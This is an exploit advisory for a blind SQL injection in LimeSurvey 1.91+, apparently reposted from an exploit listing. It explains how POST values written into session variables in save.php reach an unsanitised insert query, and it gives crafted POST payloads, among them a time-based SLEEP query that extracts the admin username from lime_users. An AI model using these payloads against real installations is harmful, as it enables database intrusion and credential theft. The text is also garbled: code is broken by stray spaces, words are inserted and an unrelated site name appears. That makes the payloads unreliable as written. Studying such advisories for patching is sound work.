Limesurvey (PHPSurveyor v.1.91 + stable) Blind injection and repair

Title: LimeSurvey Blind SQL injection
Author: TorTukiTu-OpenSphere
Affected Versions: 1.91 + build 11804
Test Platform: php
{Cke_protected} {C}
-------------------------------------------------------------------------
# TorTukiTu-Killing Tortoise
#,-"""-.
# Oo ._/\___/\
#(____)_/___\__\_)
#/_//\\_\
#
# Cookie hacking + blind Injection
# The vulnerability occurs when a user answers a survey (index. php ).
# The session variables can be freely hacked using the following lines in save. php l.82:
# If (isset ($ _ POST [$ pf]) {$ _ SESSION [$ pf] =$ _ POST [$ pf];}
# If (! Isset ($ _ POST [$ pf]) {$ _ SESSION [$ pf] = "";}
# $ Pf is user input in the POST variable
# Once splitted, SQL request is directly build from those sessions variable by function createinsertquery (),
# If a special Post variable 'srid' is set both in the variable
# 'Fieldnames' and as simple POST variable (query l. 715 save. php ).
# The user can realize blind SQL injections with specially crafted POST variables.
# Normal POST variables example: www.2cto.com
Fieldnames = 17165X6X18SQ001% numbers % 7C17165X6X18SQ006% 7C17165X6X18SQ007% 7C17165X6X18other % numbers
MULTI17165X6X18 = 8
Tbdisp17...
...
Start_time= 1329742665
# Craft POST variables like this:
Fieldnames = 17165X6X18SQ001% region % 7C17165X6X18SQ006% region % 7C [valid field id] '= [SQL INJECTION] -- % 7 Csrid
MULTI17165X6X18 = 8
Tbdisp17...
...
Start_time= 1329742665
Srid = [some integer]
# Example: Blind SQL user name guessing:
Fieldnames = 17165X6X18SQ001% 7C17165X6X18SQ002% region = null where id = 6 AND id IN (select if (( select substring (users_name, 1) FROM lime_users WHERE uid = 1) LIKE 'a % ', 1, SLEEP (5) -- % 7 Csrid
MULTI17165X6X18 = 8
Tbdisp17...
...
Start_time= 1329742665
Srid = 42
----------------------